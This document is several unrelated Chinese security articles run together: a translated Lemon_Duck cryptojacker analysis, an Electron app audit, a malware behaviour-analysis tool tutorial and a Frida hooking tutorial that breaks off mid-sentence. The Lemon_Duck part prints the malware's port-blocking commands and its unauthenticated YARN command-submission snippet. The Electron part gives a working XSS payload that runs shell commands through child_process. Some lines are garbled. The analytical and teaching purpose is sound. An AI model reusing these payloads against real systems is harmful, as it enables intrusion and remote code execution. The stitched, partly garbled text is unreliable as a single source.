企业一直是恶意加密矿工团队的首选目标。他们不仅经常操作大量的计算资源（这有助于密码劫持者更快地开采加密货币），而且企业运营的网络对随后的攻击也很有帮助：犯罪分子可能会使用最初的受感染机器作为立足点，从中试图横向移动。在网络中感染更多计算机，并通过新的漏洞和社交工程技术不断调整攻击
“柠檬鸭”（Lemon_Duck）是一个我们见过的十分先进的密码劫持者。它的创建者不断使用新的威胁向量和混淆技术来更新代码，以逃避检测，并且矿工本身是“无文件的”，这意味着它驻留在内存中，并且不会在受害者的文件系统上留下任何痕迹。
在这篇文章中，我分享了有关此活动使用新攻击媒介的信息，以及我在[上一则文章中](https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/)讨论的其余媒介的一些后续工作。
### 以Covid-19为主题的电子邮件和附件
一些传播垃圾邮件的攻击者通常从重大事件中获利，例如年末假期，各个国家/地区的报税截止日期。因此，柠檬鸭背后的威胁者与许多其他威胁者一样，在大规模垃圾邮件活动中利用了全球对COVID-19大流行的忧虑，使收件人收到恶意附件。
感染了该矿工的计算机可能不知道自己已成为该密码劫持者的超级传播者，因为该恶意软件会从受感染的计算机中检索Outlook联系人，并尝试将带有恶意附件的垃圾邮件发送给您的朋友和同事。这里很难估量造成伤害的风险，因为人们更可能信任他们认识的人的消息，而不是来自随机互联网帐户的消息。
柠檬鸭通过动态生成电子邮件消息和附件的代码，从主题行，消息正文文本以及包括诸如“ COVID-19真相”，“ COVID -19
nCov特殊信息“世卫组织”或“健康建议：冠状病毒”（原文如此）。
[
“ $ mail_pools @（（（“ EmailSubject”，“ Inline
Message”）））是一个多维数组，其中在编写电子邮件时会随机选择主题和内联消息。此攻击中使用的恶意附件是包含漏洞利用程序和恶意Jscript的Office文档。
他们正在使用的RTF漏洞是CVE-2017-8570（又名“ Composite
Moniker”漏洞）；攻击者使用构建器模块构造包含此漏洞的文档，并使用以下代码将其添加为垃圾邮件的附件。
[构建器将漏洞嵌入到Office文档有效负载中
[JS Scriptlet Builder [readme.js]
最终结果是一条看起来像这样的消息。
[
### 柠檬鸭、SMBGhost（CVE-2020-0796）和其他漏洞
柠檬鸭通过向目标SMBv3服务器发送特制数据包来利用SMBGhost漏洞。Windows
10版本1903和1909中存在[此漏洞](https://news.sophos.com/en-us/2020/03/12/patch-tuesday-for-march-2020-fixes-the-serious-smb-bug-cve-2020-0796/)，但[Microsoft在2020年3月发布了一个补丁程序](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796)，从而消除了其在补丁程序计算机上的有效性。在现实世界中，实现远程代码执行非常困难。
该矿工将SMBGhost模块视为处于评估阶段：攻击者记录有关易受攻击的计算机的信息以及有关被成功利用的计算机的任何信息。
柠檬鸭威胁参与者使用的攻击代码 _还_
包含EternalBlue的攻击代码和Mimikatz的实现。在今年夏天的六月至八月初的一段时间内，攻击者对此进行了更改，将这两个攻击媒介的模块代码注释掉，从而阻止了它们的运行。
目前暂不清楚他们的动机，但是一个假设是，他们这样做是为了评估SMBGhost远程代码执行漏洞的有效性。也许结果对他们来说并不太好，因为自8月的第一周以来，他们通过重新启用Mimikatz和EternalBlue代码来还原更改。
[Mimikatz和SMB开发在6月中旬被禁用，然后在8月重新启用
[
利用后，当他们在受到感染的计算机上执行了恶意代码时，柠檬鸭试图通过注册表禁用SMBv3压缩并阻止标准445和135的SMB网络端口。这样做是为了防止其他威胁行为者利用他们利用的相同漏洞。具有[65529
/ TCP]活动端口的计算机表示该计算机已受到任何一种攻击媒介的威胁。
netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force
### 使用二进制的EternalBlue进行暴力破解
矿工活动还将恶意可执行文件下载到temp目录。这个由python编译的二进制文件通过反射注入加载Mimikatz组件，以收集NTLM哈希和凭据。该可执行文件还尝试生成IP地址的随机列表，以扫描EternalBlue漏洞（并尝试利用）的漏洞。
[
柠檬鸭以CIDR表示法随机生成的目标IP地址范围列表
### SSH暴力攻击
该活动扩展了挖掘操作，以支持运行Linux的计算机。蛮力模块执行端口扫描以查找在端口22 /
tcp上侦听的计算机（SSH远程登录）。找到它们后，它将使用这些用户名 **root**
和一个硬编码的密码列表在这些计算机上发起SSH蛮力攻击。如果攻击成功，则攻击者下载并执行恶意shellcode。
[
下载的Shell脚本试图通过cron作业在计算机中创建持久性。
为了在整个网络上传播，它尝试在 **/.ssh/known_hosts**
寻找目标。利用收集到的用户帐户和身份验证信息，它可以将恶意的Shell脚本下载到新目标中，并通过SSH执行它（由于其端到端加密），典型的网络攻击检测工具将无法检测到该脚本。
为了有效地使用系统资源（并确保柠檬鸭是计算机的唯一受益者），该恶意脚本会通过枚举文件系统，活动进程和活动网络端口。[
](https://news.sophos.com/wp-content/uploads/2020/07/LD_ShellScript.jpg)[
### Redis
Redis（远程DIctionary服务器）是一个内存中的分布式数据库，每秒可以处理数百万个请求。Redis旨在在受信任的网络内使用，并由受信任的客户端访问。如果未正确配置Redis实例并将其暴露给外部网络，则攻击者可以通过对生成的IP列表进行端口扫描（6379
/ tcp）轻松找到它们。
默认情况下，实例不会进行任何身份验证，因此攻击者可以将恶意代码写入数据库，并通过cron作业在实例中创建持久性，以便可以定期执行恶意代码。
###
[未经身份验证的Hadoop集群
YARN（另一个资源协商器）是Hadoop
2.0中引入的核心组件之一，旨在为Hadoop集群中运行的各种应用程序改善资源分配和任务调度。默认安装将禁用安全设置，并且将允许未经身份验证的用户在集群中执行任意命令。
柠檬鸭攻击者通过对 **8088 / tcp** 进行端口扫描来识别Hadoop服务器，从而识别YARN管理的群集。然后，攻击者尝试通过对 **/ ws /
v1 / cluster / apps / new-application** 的POST请求在集群中创建一个新的应用程序实例。
如果服务器没有任何身份验证要求，则它可以处理请求并返回应用程序ID。攻击者可以使用应用程序ID提交恶意命令以在Hadoop实例中执行。
$postdata="{""application-id"":""$keyid"",
""application-name"":""$keyname"",
""application-type"":""YARN"",
""am-container-spec"":{""commands"":{""command"":""$cmd""}}}"
urlpost $ip "/ws/v1/cluster/apps" $postdata
[
### 攻击向量统计
我们已经汇编了一系列统计数据，描述了柠檬鸭在我们观察到的针对监控恶意活动的网络的攻击中使用这些攻击媒介的频率。
[
## **检测范围**
多种威胁被Sophos端点安全产品阻止（例如 **AMSI / PSobfus-B，Exec_21a，C2_10a，Exp / 20178570-B，Mal
/ DrodZp-A，Mal / MineJob-C，Troj / LDMiner-A，HPmal / mPShl）-B和Linux / Miner-RK** 。
[可以在SophosLabs
Github上找到](https://github.com/sophoslabs/IoCs/blob/master/Trojan-LDMiner.csv)更新[的危害指标](https://github.com/sophoslabs/IoCs/blob/master/Trojan-LDMiner.csv)。
* * * | 社区文章 |
### 前言
electron是一个流行的桌面应用开发框架,允许开发者使用web技术和nodejs结合来迅速开发桌面应用. 不过由于使用了js等, 也引入了xss漏洞.
这次用一个简单的app实战挖掘,为了避免广告嫌疑,就不提供app名字了.
### 解包
electron真正的应用内容 位于 `resources`目录.
如果打开后发现直接就是代码目录, 就可以跳过这一步了
一般会有两个asar包, `electron.asar`和应用一般无关, 直接看另一个就行了.
asar只是一个压缩包, 解包和重打包的工具可以直接通过`npm`下载.
下载命令`sudo npm install -g asar` 解压命令 `asar extract app.asar <输出目录>`
### 审计代码
各个目录的目录结构不一定,但都有一个主文件 如 `main.js`. 在这里处理应用的启动
#### 自定义url协议
electron应用可以注册自己的url 协议 例如`custom://`, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等
例子.
注册url的代码例子如下
const protocol = electron.protocol
// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'
function createWindow () {
mainWindow = new BrowserWindow({width: 1000, height: 800})
// handle url protocol
protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
const fullUrl = formFullTodoUrl(req.url)
devToolsLog('full url to open ' + fullUrl)
mainWindow.loadURL(fullUrl)
})
}
由于未在这款应用发现注册自定义url,只能跳过这处的代码审计了
#### 代码反混淆
如果代码未使用反混淆, 可跳过这步.
这次审计的app使用了`javascript obfuscator`, 并不算太难.
使用`https://lelinhtinh.github.io/de4js/` 就能解出来. 不过原有的参数名就回不来了,
在阅读代码时利用IDE的重命名变量能有效提高可读性
#### 寻找输入点
为了寻找漏洞, 我们需要先寻找输入点.这个时候参考应用自身功能 找到对应的`html`文件代码是最方便的.
这个应用允许用户打开和编辑一些文件, 找到对应的`editpoc.html`. 发现这个文件高达`2000`多行.
好在html文件没有做js混淆, 可以通过IDE的文件结构功能快速浏览, 减少了不少工作量
花费了几分钟后, 找到了从文件获取数据的函数.然后代码将数据传递给了下面三个函数
第一个都是使用`$(#xxx).val()`函数 没太大问题
第二个被混淆了, 并且反混淆没成功
只好自己写个脚本来反混淆了
# 从上面文件拷贝出来
data= ["xxx"]
# 上面文件的变量名
name = "_$_3fd4"
filename = "bmheditor.js"
with open(filename, "r") as f:
content = f.read()
for i in range(len(data)):
content = content.replace(name+f"[{i}]", f"`{data[i]}`")
with open("output.js", "w") as f:
f.write(content)
最后效果
可以发现并没有太明显的拼接html痕迹 也是调用`val`
第三个经过一些值传递后的代码
可以发现像这样的
`var $input2 = $("<input type='text' value='"+value+"' name='value'
class='form-control' style=' width:20%; display: inline-block;'
placeholder='value'>");`
直接拼接html, 如果没有过滤将会导致xss.
而`value`是从`var value = v.value;` 传递来的
在上面的代码也没有过滤
if (typeof(item.ExpParams) == "undefined") {
var ExpParams = [];
}else{
var ExpParams = item.ExpParams;
}
查看被传递过来参数`pocJsonInfo`
var FileName = temp_params2;
if(from == 'store') {
var pocJsonInfo = getPocJsonByRubyFileName(FileName, 1);
} else {
var pocJsonInfo = getPocJsonByRubyFileName(FileName);
}
pocJsonInfo = JSON.parse(pocJsonInfo);
old_poc_content = pocJsonInfo;
pocJsonInfo.FileName = FileName;
只经过了json解析
而反混淆的`getPocJsonByRubyFileName`函数也没什么过滤
### 利用
上面解析的json 实际上是这app可以编辑的文件里的一部分
只需要添加
"ExpParams": [
{"name":"test'/><script>alert(1)</script>","type":"input","value":"test"}
],
这样的即可.
要利用electron的xss 由于electron允许使用nodejs, 所以只需要引入nodejs自带的命令执行模块`child_process`即可
例子
`require('child_process').execSync('xxxxx')`
这边环境是Linux 如果要弹个计算器
实际exp
"ExpParams": [
{"name":"test'/></td></tr><img src=x onerror=\"require('child_process').execSync('gnome-calculator');\">","type":"input","value":"test"}
],
弹计算器时间 | 社区文章 |
# 恶意代码分析之行为分析及样本收集
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
之前讲的内容，都是在以不运行样本为前提进行分析，这种分析方法是最安全的，可以直接在真机上通过IDA进行分析，但是很多时候，我们不得不调试样本才能对样本的恶意行为进行一个完整的分析，此外，调试节结合IDA的分析方式，也能大大的加快样本分析的速度。当我们决定要对样本进行动态调试或是行为分析的时候，由于会运行样本，我们就需要在虚拟机中执行此类操作。
在本节中，主要介绍一下我平时分析样本的来源，以及分析样本时候常用的一些行为检查工具，通过行为分析，可以让我们很快的了解样本的大概功能。然后介绍如何通过在本地捕获到的一些行为，去挖掘和寻找与样本相关的情报。
## 0x01 分析样本从哪儿来
目前来讲，virustotal应该是全球最大的情报机构。
也是大家在样本分析时，使用的最多的情报平台。
但是很可惜，virustotal没有对个人用户提供下载接口。
免费用户只能进行一些简单的查询，所以对于个人用户来讲，virustotal显得不是那么的”友好”。
### app.any.run
app.any.run是一款非常火的在线交互式沙箱。相比其他沙箱，app.any.run最大的优势就是界面友好、可与用户交互。即使用app.any.run分析样本的时候，我们可以简单操作沙箱机器的，比如我分析一个恶意样本，样本运行后会弹框，需要用户单击确定按钮后，恶意功能才会触发，此时普通的沙箱可能就跑不出恶意行为，但是使用app.any.run的话，我们就可以在运行过程中单击弹框选项，从而执行后续的操作。
同样的，app.any.run也分为免费用户和付费用户，但是在app.any.run中，个人用户可使用的功能也非常多，是否需要开通付费可以自行斟酌。
app.any.run的主页面如下所示：
app.any.run在主页中心位置展示了一个Threat map，以表示全世界方位内当前恶意样本的流行情况。
左边的一排是工具栏，我们可以单击<\+ New task> 以新建一个分析任务
或是单击<Public stask> 查看app.any.run上公开的样本信息。
<History>标签记录了当前账号在app.any.run提交的样本记录。
首先是<\+ New task> ：
我们单击New
task之后，app.any.run就会弹框以提示用户创建任务。左上角的框中可以对沙箱机器进行配置，如操作系统版本、操作系统位数、UAC等信息。当然，这么强大的功能是需要付费的，app.any.run给免费用户提供了win7x32的操作系统，如果想要使用其他的操作系统，就需要升级为app.any.run的付费用户。
右上角的选项框中表明了当前选择的操作系统上所安装的应用信息以及补丁信息。
左下角选项框让用户上传待分析的文件。
右下角的选项框中可以对此次分析进行配置，如沙箱运行时间、样本是否公开(app.any.run默认会将所有用户上传的样本作为开源情报公开，当然app.any.run保留了私有分析的功能，但是这得加钱。)，以及网络是否使用匿名网络等。
当我们配置好这些信息之后(通常只需要选择上传文件，其他内容都默认)，我们就可以单击最右下角的Run开始执行任务。
沙箱运行之后，就会生成一个在线报告，以我们分析的一个样本的报告为例：
同样的，中央位置是沙箱的运行界面。
左下角显示了样本在运行过程中所有的网络行为，包括HTTP Request Connections DNS Requests
以及app.any.run检测到的Threats请求。
右边的窗口，是显示了样本运行后的进程信息。
以及app.any.run提取出的IOCs信息：
关于app.any.run沙箱的使用暂时就介绍到这里，接下来我们看看如何通过app.any.run获取一些特殊样本。
我们在app.any.run的主页界面单击Public tasks。
可以进入到如下的界面：
这里就默认显示了app.any.run最新公开的样本，也就是说，只要有人通过app.any.run的沙箱测试了样本，基本上就能在这里找到。
该页面的右上角有一个搜索框，我们可以在搜索框中输入样本的hash或者标签即可找到样本。
搜索hash是最基础的一个功能，我们可以单击搜索框旁边的filter打开筛选框，在筛选框中进行条件筛选。包括文件类型、请求地址、tag信息等等。
我们甚至可以直接输入apt以搜索所有在app.any.run上被打上了APT标签的样本：
然后想要下载或是查看某个样本的分析报告，直接点进去即可。
关于app.any.run就暂时介绍到这里，由于app.any.run沙箱的友好界面，以及app.any.run的开源情报共享，目前app.any.run的样本量已经很大了，甚至有很多样本vt上没有的，app.any.run都会有。所以，在样本分析中，可以多多去查看app.any.run的Public
submissions，说不定啥时候就能先人一步捕获到新情报。
### MalwareBazaar
还有一个个人比较常用情报来源是MalwareBazaar：<https://bazaar.abuse.ch/browse/>
MalwareBazaar界面也非常简洁，每天都会更新很多样本，并且这些样本基本上都带了初始的tags
除此之外，MalwareBazaar还提供了API接口、搜索、导出功能。想要在MalwareBazaar下载样本也非常简单，只需要单击某个md5，进入到详情页面，然后单击Download
sample即可，需要注意的是，国外的这种情报共享平台，下载回来的样本默认解压密码都是：infected
## 0x02 行为检测
个人推荐多配置几个虚拟机环境，个人目前搭建了xp、win7x32、win7x64、win10x64等虚拟机环境。行为检测的工具推荐使用工SysTracer.exe、火绒剑、Procmon、sysmon等。
此外，在对样本进行行为分析的时候，最好能够断网分析或是使用一个干净的网络。
首先是为什么要断网分析，我们在分析的时候，如果目标的服务器还是存活的，那么样本运行之后，就会和目标服务器建立通信，然后进行交互。样本大多会有收集当前主机信息并上传到服务器的功能，如果虚拟机的配置被打包上传到攻击者服务器，一方面，攻击者将会知道你的出口IP地址。另一方面，攻击者将知道自己的样本已经暴露，已经有分析人员在分析，从而导致攻击者关闭服务器或是采取其他行为。
还有一个重要的因素是，如果是在公司的网路环境进行分析的，公司一般都会有流量监控，如果检测到连接了已经确认是恶意的C2服务器，就会触发警报，一方面公司可能请你喝茶，另一方面如果样本具备其他的功能，可能会出现公司网络未授权访问xxx的情况。
所以综上所述，断网分析恶意样本是一个好习惯。
但是有时候，样本会检测网络是否正常，如果不正常就直接退出了，遇到这种情况，可以
1 修改样本判定网络的条件，使得可以正常运行
2 搭建安全的网络进行分析
个人推荐使用fireeye的开源工具：fakenet：<https://github.com/fireeye/flare-fakenet-ng>
在联网的虚拟机中安装该工具后，将会构建一个虚拟网络，此时，通过主机产生的所有网络请求、流量将不会发送出去，而是发送到fakenet中。此外，fakenet还会根据请求的内容进行对应的响应。
## 0x03 SysTracer.exe
首先来说SysTracer.exe这款行为检测工具，目前来说，个人最喜欢这款，因为非常简洁，一目了然。
以我们静态分析的第一个样本为例，首先在虚拟机(xp)中打开SysTracer.exe，然后通过左上角的图标选择待分析的文件：
选择创建并且跟踪一个新进程，然后点击运行打开选择窗口
选中我们待分析的文件，选择打开：
最后点击确定，即可运行该程序并监控程序的行为：
可以看到，样本行为很简单，首先是进行了一次网络请求，然后就弹框显示
点击弹框之后，进程退出：
由于该样本过于简单，我们可以随便找一个其他的恶意样本跑下行为试试：
这里可以看到，该恶意样本运行后，会不断的进行网络请求，并且创建和销毁进程，我们可以在左边的选项中选中某一栏进行赛选，比如选中左边的<网络>：
可以看到，程序不断创建和销毁进程的同时一直在循环请求firestormy.duckdns.org
目前虽然我们还不知道该地址是用来干嘛的，但是可以猜测这是攻击者的服务器地址，我们可以通过开源的情报搜索一下该地址。
首先是通过VT查看该域名的关联情况：
这里可以很直观的看到，与该地址通信的文件，基本全是确定恶意的木马，所以我们可以确定该域名是一个恶意域名。
此外，我们可以尝试通过各家的情报中心对该地址进行查询。
个人常用的两个威胁情报平台是微步和奇安信的。
微步威胁情报查询：<https://x.threatbook.cn/>
奇安信威胁情报查询：<https://ti.qianxin.com/>
以微步的为例，在平台上查询我们通过行为分析工具跑出来的地址，得到如下结果：
通过查询，我们知道该域名已经被打上了很多标间，如僵尸网络、Scar、DarkComet、远控等。像这种已经和某些家族打上标签的域名，我们可以尝试直接在搜索引擎中搜索该家族，看是否已经有分析报告，以及分析报告中的样本代码结构是否与手里的样本匹配。在具体分析样本的时候，可以参考这些信息。
## 0x04 火绒剑
火绒剑是现在比较流行的一款行为分析工具，官方也提供了该工具的单独下载。
火绒剑安装好之后，以管理员身份启动，开启监控，然后进行过滤设置：
选择进程过滤，添加，然后将待检测的样本名字复制进去
然后确定，设置好第一条过滤条件
然后选择动作过滤
个人建议是可以把注册表监控取消勾选，因为正常情况下来讲，一个程序运行之后，哪怕什么都不做，都会大幅度的进行注册表操作。
所以如果不取消注册表监控，行为可能是如下：
这里面的操作，很多不是恶意程序发起的，而是windows系统，加载这个pe文件到内存执行的时候操作的。
当把注册表过滤了之后，就只显示了51条记录，但是这里比较奇怪没有跑出网络行为。
这个时候，我们可以尝试结合Fakenet，看看是否能跑出网络行为。
解压下载回来的fakenet，然后以管理员身份启动fakenet：
此时，fakenet成功启动，此电脑上的所有网络请求都将发送到fakenet中：
接着重新使用火绒剑监控样本行为：
可以看到，此时火绒剑已经成功捕获到网络请求行为，并且在fakenet中也成功记录请求内容，并且模拟服务器返回了对应的数据。
## 0x05 Procmon
procmon是微软官方提供的行为监控工具，打开之后默认会监测所有的进程：
可以选择如下图标或者Ctrl + L 进行过滤
根据个人选择，第一个框可以选择ProcessName对指定的进程进行过滤
第二个下拉框有如下的过滤条件：
然后在输入框中填入需要过滤的ProcessName，点击Add，然后选择OK
此时窗口中将会只剩下我们选择的进程的相关行为
由于是微软自己开发的行为监控工具，Procmon可以说是巨细无遗，检测能力相比其他来说也更全面，这里尴尬的是Procmon检测到了fakenet的流量欺骗，所以网络行为这里显示如下，没有显示真实的请求地址
Procmon在使用的时候，会多出很多系统相关的行为，这里需要分析的时候自行鉴别~
## 0x06 Sysmon
Sysmon是一款轻量级的监视工具。属于Windows
Sysinternals出品的一款Sysinternals系列中的工具,用来监视和记录系统活动,并记录到windows事件日志。
Sysmon相比前面几款工具，安装要稍微麻烦一些，但同时也具备了一些优势。
官网下载地址：<https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>
下载好之后，需要根据github上的配置文件进行配置。
git地址：<https://github.com/SwiftOnSecurity/sysmon-config>
安装过程如下
1 使用管理员启动cmd
2 进入到下载的sysmon目录下
3 将git下载下来的配置文件和sysmon放在同一个目录下
4 执行命令Sysmon64.exe -accepteula -i z-AlphaVersion.xml
将sysmon启动起来之后，win+r 运行eventvwr打开日志管理器
然后在：
应用程序和服务日志->Microsoft->Windows目录下会有一个SysMon文件夹
然后就能看到启动sysmon之后的日志。
新版本的sysmon有了dns查询功能，非常实用
可以看到每个事件之后都有一个事件ID
Event ID 1: Process creation
Event ID 2: A process changed a file creation time
Event ID 3: Network connection
Event ID 4: Sysmon service state changed
Event ID 5: Process terminated
Event ID 6: Driver loaded
Event ID 7: Image loaded
Event ID 8: CreateRemoteThread
Event ID 9: RawAccessRead
Event ID 10: ProcessAccess
Event ID 11: FileCreate
Event ID 12: RegistryEvent (Object create and delete)
Event ID 13: RegistryEvent (Value Set)
Event ID 14: RegistryEvent (Key and Value Rename)
Event ID 15: FileCreateStreamHash
Event ID 17: PipeEvent (Pipe Created)
Event ID 18: PipeEvent (Pipe Connected)
Event ID 19: WmiEvent (WmiEventFilter activity detected)
Event ID 20: WmiEvent (WmiEventConsumer activity detected)
Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected)
Event ID 22: DNSEvent (DNS query)
Event ID 255: Error
对应解析如下：
Event ID 1: 创建进程
Event ID 2: 进程更改了文件创建时间
Event ID 3: 网络连接
Event ID 4: Sysmon 服务状态已更改
Event ID 5: 进程终止
Event ID 6: 驱动程序加载
Event ID 7: 镜像加载
Event ID 8: 创建远线程
Event ID 9: 驱动器读取
Event ID 10: 进程访问
Event ID 11: 文件创建
Event ID 12: 注册表事件(Object create and delete)
Event ID 13: RegistryEvent (Value Set)
Event ID 14: RegistryEvent (Key and Value Rename)
Event ID 15: 文件流创建
Event ID 17: 管道事件(Pipe Created)
Event ID 18: PipeEvent (Pipe Connected)
Event ID 19: WmiEvent (WmiEventFilter activity detected)
Event ID 20: WmiEvent (WmiEventConsumer activity detected)
Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected)
Event ID 22: dns解析(DNS query)
Event ID 255: Error
使用一个简单的木马来测试Sysmon的功能.
启动sysmon之后，启动木马文件Cannon.exe
从图中可以很清楚的看到Cannon.exe调起了cmd.exe执行b.bat文件
包括bat文件的创建：
注册表操作(加入开机自启动以实现本地持久化)：
以及dns查询：
关于Sysmon，还有更多高级和强悍的用法，可参照<https://github.com/nshalabi/SysmonTools>
## 0x07 总结
通过行为分析，可以让我们从宏观的角度了解样本执行后，会做了哪些行为。
比如我们只在行为分析中看到样本进行了网络请求，那么我们可以猜测，样本是否是一个简单的Downloader，或是由于未成功建立连接导致样本提前结束运行。
此外，我们还可以通过各个平台对样本的网络请求地址进行查询，通常来说，只要该域名曾经被攻击者使用过，那么大概率是可以关联到对应的家族的。毕竟域名的申请，还是有一定的成本在里面，大多数情况下，攻击者也不会那么浪费的一个域名只使用一次就舍弃。
比如我们在行为分析中看到创建进程操作，那么我们可以根据样本创建的进程去推测样本大概做了什么操作，是带参数重新启动自身 还是去启动了一个异常的进程。
比如我们在行为分析中看到文件创建操作，那么我们可以根据文件创建的路径去找到对应的文件，看看样本释放的文件到底什么内容，是一个PE 还是 一个vbs脚本。
根据行为检测的内容，我们在调试的时候，也可以针对性的设置断点，大大加快我们的分析速度。 | 社区文章 |
原文地址：<https://erev0s.com/blog/how-hook-android-native-methods-frida-noob-friendly/>
在[上一篇文章](https://erev0s.com/blog/add-jnicc-your-existing-android-app/
"上一篇文章")中，我们以Android应用程序为例，并假设我们想要使用C/C++替换它的部分实现。在本文中，我们将使用该应用程序，并且尝试hook我们用C语言编写的`Jniint`函数。
如果你正在寻找frida的代码片段，那么你可能会对[这篇文章](https://erev0s.com/blog/frida-code-snippets-for-android/ "这篇文章")感兴趣！
本篇教程是面向新手的，目的是向大家介绍使用`Frida`来hook方法，尤其是hook
native方法。我们将从只有apk开始介绍，一步步介绍整个过程。如果想下载我们[上一篇文章](https://erev0s.com/blog/add-jnicc-your-existing-android-app/
"上一篇文章")中编写的应用程序apk，请点击[此链接](https://mega.nz/#!qq4AlAZJ!MWt5kZjlCuLrjKHKiWMA04gcVsKYA-CGqP4Y9qRR9DA "此链接")
在本教程中，我们要处理Java方法和C函数，我将交换使用这些术语，因为它们基本上意味着同一件事！
首先，观察apk是否有正在加载的共享库。一个简单的验证方法是提取apk的内容。不要忘记apk只是实际应用程序的打包，因此可以提取apk内容，就像解压压缩文件一样。选择你喜欢的解压程序并解压apk。
提取后的apk结构应该类似于下面
├── AndroidManifest.xml
├── classes2.dex
├── classes.dex
├── lib
│ ├── arm64-v8a
│ │ └── libnative-lib.so
│ ├── armeabi-v7a
│ │ └── libnative-lib.so
│ ├── x86
│ │ └── libnative-lib.so
│ └── x86_64
│ └── libnative-lib.so
├── [...more here...]
在`lib`目录中，我们可以看到不同架构的库的编译版本。选择适合我们的设备的那个，在我的例子里是x86。我们需要分析这个共享库来查看其包含的函数。我们只需要使用如下命令
`nm --demangle --dynamic libnative-lib.so`。结果如下所示：
$ nm --demangle --dynamic libnative-lib.so
00002000 A __bss_start
U __cxa_atexit
U __cxa_finalize
00002000 A _edata
00002000 A _end
00000630 T Java_com_erev0s_jniapp_MainActivity_Jniint
000005d0 T Jniint
U rand
U srand
U __stack_chk_fail
U time
首先引起注意的是这两个函数的存在，即Java_com_erev0s_jniapp_MainActivity_Jniint和Jniint。如果你想知道为什么这里有两个函数，可以在我们以前的文章中查看[这部分](https://erev0s.com/blog/add-jnicc-your-existing-android-app/#adding-our-c-code "这部分")。
我们的目标是改变apk的执行流程，以使`Jniint`返回我们定义的值。
有两种方法可以做到这一点：
1. 我们在Java层hook，意味着我们拦截了Java对JNI的调用，因此根本不需要处理C代码。
2. 我们深入C语言中Jniint的实现，并在那里进行调整。
通常第一个方法比较容易实现，但是有时候第二个操作也很方便。这完全取决于应用程序在做什么以及你要实现的目标。我们将同时尝试这两种方法，并对步骤进行说明。
### Setting up our testing Environment
在本教程和我对Android的常规安全测试中，我喜欢使用Genymotion。这是一个非常不错的模拟器，非常轻巧，还可以将其集成到Android
Studio中。在选择设备/模拟器作为测试环境中很重要的一点是拥有root访问权限。好吧，root权限不是hook所必须的（有其他替代方法），只不过本文中我们使用的是这种方式。如果使用Genymotion，那么默认情况下模拟器中具有root访问权限。
#### Installing Frida on your computer
这个步骤非常简单，只需要安装Python并运行两个命令。第一个是`pip install frida-tools`，用于安装我们要使用的基本工具，第二个是`pip install frida`，它将安装python
bindings，在使用Frida的过程中你会发现他们很有用。
#### Run the frida-server on the device
首先，下载frida-server的最新版本，可以在[这里](https://github.com/frida/frida/releases
"这里")找到。只需找到`frida-server`，选择设备的android架构即可。Genymotion要下载x86的。下载后，只需解压并将输出重命名为容易记住的名称，例如frida-server。现在，我们要做的就是将文件推送到设备中并运行。为了将文件移动到设备中，我们需要adb的帮助。如果路径中没有adb，可以在这里下载然后提取它，然后要么在提取的文件夹中运行，这样可以直接访问adb，要么将其添加到路径中。[这里](https://www.xda-developers.com/install-adb-windows-macos-linux/ "这里")可以找到有关如何操作的说明。
我们假设你拥有可运行的`adb`，并且已将设备连接到笔记本电脑或启动了模拟器。接下来需要运行命令`adb push path/to/your/frida-server/tmp`，将`frida-server`文件从计算机移至设备的`/tmp`路径中。
最后一步，在设备内运行`frida-server`。为此，我们运行`adb
shell`以获取设备中的shell，然后切换至`/tmp`。然后使用`chmod +x frida-server`命令使文件可执行，最后执行`./frida-server`。一定要让终端保持打开。
为了验证一切正常，需要打开另一个终端并输入`frida-ps
-U`。如果得到一长串的进程，那么一切正常可以继续进行，否则需要再次阅读本节并严格按照步骤进行操作。
另外，如果你是遵循上一篇文章的说明，也不要忘记将已[下载](https://mega.nz/#!qq4AlAZJ!MWt5kZjlCuLrjKHKiWMA04gcVsKYA-CGqP4Y9qRR9DA "下载")或构建的apk安装到设备上。有几种方法可以完成此操作，其中一种方法是使用adb, 运行`adb install
nameOfApk.apk`。
### Hooking with Frida using the Java api
我们想要hook的是`Jniint`，那么现在看看要如何操作。请在[这里](https://frida.re/docs/javascript-api/#java "这里")也看下Frida的Java API，因为我们将会用到它，它可以帮助你更好地理解我们在做什么。
首先，通过点击应用程序图标在设备内部启动应用程序。如果点击按钮，应该会弹出不同的数字，类似于[这里](https://i.imgur.com/PvQJqdy.gif
"这里")所显示的。
我们现在要创建一个javascript文件，Frida将用它来hook我们想要的函数（Jniint）。文件内容如下：
Java.perform(function () {
// we create a javascript wrapper for MainActivity
var Activity = Java.use('com.erev0s.jniapp.MainActivity');
// replace the Jniint implementation
Activity.Jniint.implementation = function () {
// console.log is used to report information back to us
console.log("Inside Jniint now...");
// return this number of our choice
return 80085
};
});
这段代码相对容易理解，首先为`MainActivity`类创建一个封装，然后替换`Jniint`实现，它是`MainActivity`类中的一个方法。然后将文件保存为`myhook.js`。在设备中打开应用程序时，我们需要在javascript文件所在的路径打开终端。
使用的命令是：`frida -U -l myhook.js com.erev0s.jniapp`
`-U`标志告诉frida我们使用的是USB设备，`-l`是要用的javascript文件，最后是要查找的应用程序。注意，此命令要求应用程序已经在设备上运行，因为它不会自动启动程序。如果你想自动启动应用程序，可以使用命令`frida
-U -l hookNative.js -f com.erev0s.jniapp --no-pause`。`-f`标志将启动指定的应用程序，而`--no-pause`将会在启动后启动应用程序的主线程。
无论使用哪个命令，结果都应该相同，最终都会出现类似于以下内容：
如你所见，按下按钮后的结果已经更改为我们在javascript代码中定义的值。就是这样！我们通过Frida的Java
API，已经成功地改变了Jniint的实现。
### Hook with Frida directly the Native C implementation!
当我们需要处理C / C
